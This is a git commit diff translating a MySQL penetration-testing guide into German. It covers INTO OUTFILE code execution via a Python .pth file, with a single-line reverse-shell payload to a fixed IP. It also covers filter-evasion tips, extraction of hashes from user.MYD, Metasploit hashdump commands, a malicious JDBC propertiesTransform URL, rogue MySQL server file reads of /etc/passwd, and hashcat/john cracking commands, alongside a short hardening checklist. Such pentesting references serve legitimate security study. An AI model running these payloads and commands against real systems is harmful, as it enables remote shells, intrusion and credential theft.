Translated ['src/network-services-pentesting/pentesting-mysql.md'] to de

This commit is contained in:
Translator 2025-08-14 04:40:45 +00:00
parent 4346da3b98
commit 75894fad4c

View File

@ -17,7 +17,7 @@
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```
### Remote
### Fernzugriff
```bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
@ -114,10 +114,10 @@ Siehe in den Dokumenten die Bedeutung jedes Privilegs: [https://dev.mysql.com/do
Durch den Missbrauch des klassischen `INTO OUTFILE`-Primitivs ist es möglich, *willkürliche Codeausführung* auf Zielen zu erlangen, die später **Python**-Skripte ausführen.
1. Verwenden Sie `INTO OUTFILE`, um eine benutzerdefinierte **`.pth`**-Datei in ein beliebiges Verzeichnis abzulegen, das automatisch von `site.py` geladen wird (z. B. `.../lib/python3.10/site-packages/`).
2. Die `.pth`-Datei kann eine *einzelne Zeile* enthalten, die mit `import ` beginnt, gefolgt von beliebigem Python-Code, der jedes Mal ausgeführt wird, wenn der Interpreter gestartet wird.
2. Die `.pth`-Datei kann eine *einzelne Zeile* enthalten, die mit `import ` beginnt, gefolgt von willkürlichem Python-Code, der jedes Mal ausgeführt wird, wenn der Interpreter gestartet wird.
3. Wenn der Interpreter implizit von einem CGI-Skript ausgeführt wird (zum Beispiel `/cgi-bin/ml-draw.py` mit Shebang `#!/bin/python`), wird die Payload mit den gleichen Rechten wie der Webserver-Prozess ausgeführt (FortiWeb führte es als **root** aus → vollständige Pre-Auth RCE).
Beispiel `.pth` Payload (einzelne Zeile, keine Leerzeichen können in der endgültigen SQL-Payload enthalten sein, daher sind hex/`UNHEX()` oder String-Konkatenation möglicherweise erforderlich):
Beispiel `.pth` Payload (einzelne Zeile, keine Leerzeichen können in der finalen SQL-Payload enthalten sein, daher sind hex/`UNHEX()` oder String-Konkatenation möglicherweise erforderlich):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
@ -129,7 +129,7 @@ Wichtige Einschränkungen & Umgehungen:
* `INTO OUTFILE` **kann vorhandene** Dateien **nicht überschreiben**; wählen Sie einen neuen Dateinamen.
* Der Dateipfad wird **relativ zum CWD von MySQL** aufgelöst, daher hilft das Voranstellen von `../../`, um den Pfad zu verkürzen und Einschränkungen bei absoluten Pfaden zu umgehen.
* Wenn die Angreifer-Eingabe mit `%128s` (oder ähnlich) extrahiert wird, wird jede Leerzeile die Payload abschneiden; verwenden Sie MySQL-Kommentarsequenzen `/**/` oder `/*!*/`, um Leerzeichen zu ersetzen.
* Wenn die Angreifer-Eingabe mit `%128s` (oder ähnlich) extrahiert wird, wird jede Leerzeile die Payload kürzen; verwenden Sie MySQL-Kommentarsequenzen `/**/` oder `/*!*/`, um Leerzeichen zu ersetzen.
* Der MySQL-Benutzer, der die Abfrage ausführt, benötigt das `FILE`-Privileg, aber in vielen Geräten (z.B. FortiWeb) läuft der Dienst als **root**, was fast überall Schreibzugriff gewährt.
Nachdem die `.pth` abgelegt wurde, fordern Sie einfach ein CGI an, das vom Python-Interpreter verarbeitet wird, um Codeausführung zu erhalten:
@ -161,7 +161,7 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**In diesem Papier finden Sie eine vollständige Beschreibung des Angriffs und sogar, wie man ihn auf RCE erweitern kann:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**In diesem Dokument finden Sie eine vollständige Beschreibung des Angriffs und sogar, wie man ihn auf RCE erweitern kann:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Hier finden Sie eine Übersicht über den Angriff:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -261,7 +261,7 @@ Sie können **diese Anmeldeinformationen verwenden, um sich in der MySQL-Datenba
In der Datei: _/var/lib/mysql/mysql/user.MYD_ finden Sie **alle Hashes der MySQL-Benutzer** (die, die Sie aus mysql.user innerhalb der Datenbank extrahieren können)_._
Sie können sie extrahieren, indem Sie Folgendes tun:
Sie können sie extrahieren, indem Sie:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
@ -295,7 +295,7 @@ Konfigurationsdateien
- update.log
- common.log
## Standard MySQL-Datenbank/Tabellen
## Standard MySQL-Datenbank/-Tabellen
{{#tabs}}
{{#tab name="information_schema"}}
@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## Referenzen
## 2023-2025 Highlights (neu)
### JDBC `propertiesTransform` Deserialisierung (CVE-2023-21971)
Von Connector/J <= 8.0.32 kann ein Angreifer, der die **JDBC-URL** beeinflussen kann (zum Beispiel in Drittanbieter-Software, die nach einer Verbindungszeichenfolge fragt), beliebige Klassen anfordern, die auf der *Client*-Seite über den `propertiesTransform`-Parameter geladen werden. Wenn ein Gadget, das im Klassenpfad vorhanden ist, ladbar ist, führt dies zu **Remote-Code-Ausführung im Kontext des JDBC-Clients** (pre-auth, da keine gültigen Anmeldeinformationen erforderlich sind). Ein minimales PoC sieht so aus:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
Das Ausführen von `Evil.class` kann so einfach sein wie das Bereitstellen im Klassenpfad der verwundbaren Anwendung oder das Zulassen eines bösartigen MySQL-Servers, der ein schädliches serialisiertes Objekt sendet. Das Problem wurde in Connector/J 8.0.33 behoben aktualisieren Sie den Treiber oder setzen Sie `propertiesTransform` explizit auf eine Zulassungsliste.
(Siehe Snyk-Bericht für Details)
### Angriffe von bösartigen / gefälschten MySQL-Servern gegen JDBC-Clients
Mehrere Open-Source-Tools implementieren ein *teilweises* MySQL-Protokoll, um JDBC-Clients anzugreifen, die nach außen verbinden:
* **mysql-fake-server** (Java, unterstützt Datei-Lese- und Deserialisierungs-Exploits)
* **rogue_mysql_server** (Python, ähnliche Fähigkeiten)
Typische Angriffswege:
1. Die Opferanwendung lädt `mysql-connector-j` mit `allowLoadLocalInfile=true` oder `autoDeserialize=true`.
2. Der Angreifer kontrolliert DNS / Host-Eintrag, sodass der Hostname der DB auf eine Maschine aufgelöst wird, die unter seiner Kontrolle steht.
3. Der bösartige Server antwortet mit gestalteten Paketen, die entweder `LOCAL INFILE` willkürliches Datei-Lesen oder Java-Deserialisierung → RCE auslösen.
Beispiel für eine Einzeile zum Starten eines gefälschten Servers (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
Dann weisen Sie die Opferanwendung auf `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` und lesen Sie `/etc/passwd`, indem Sie den Dateinamen im *Benutzernamen*-Feld als base64 kodieren (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### Knacken von `caching_sha2_password`-Hashes
MySQL ≥ 8.0 speichert Passwort-Hashes als **`$mysql-sha2$`** (SHA-256). Sowohl Hashcat (Modus **21100**) als auch John-the-Ripper (`--format=mysql-sha2`) unterstützen das Offline-Knacken seit 2023. Dumpen Sie die `authentication_string`-Spalte und füttern Sie sie direkt ein:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### Hardening checklist (2025)
• Setze **`LOCAL_INFILE=0`** und **`--secure-file-priv=/var/empty`**, um die meisten Datei-Lese-/Schreib-Primitiven zu deaktivieren.
• Entferne das **`FILE`**-Privileg von Anwendungs-Konten.
• Setze bei Connector/J `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (leer).
• Deaktiviere ungenutzte Authentifizierungs-Plugins und **erfordere TLS** (`require_secure_transport = ON`).
• Überwache `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` und plötzliche `SET GLOBAL`-Anweisungen.
---
## References
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}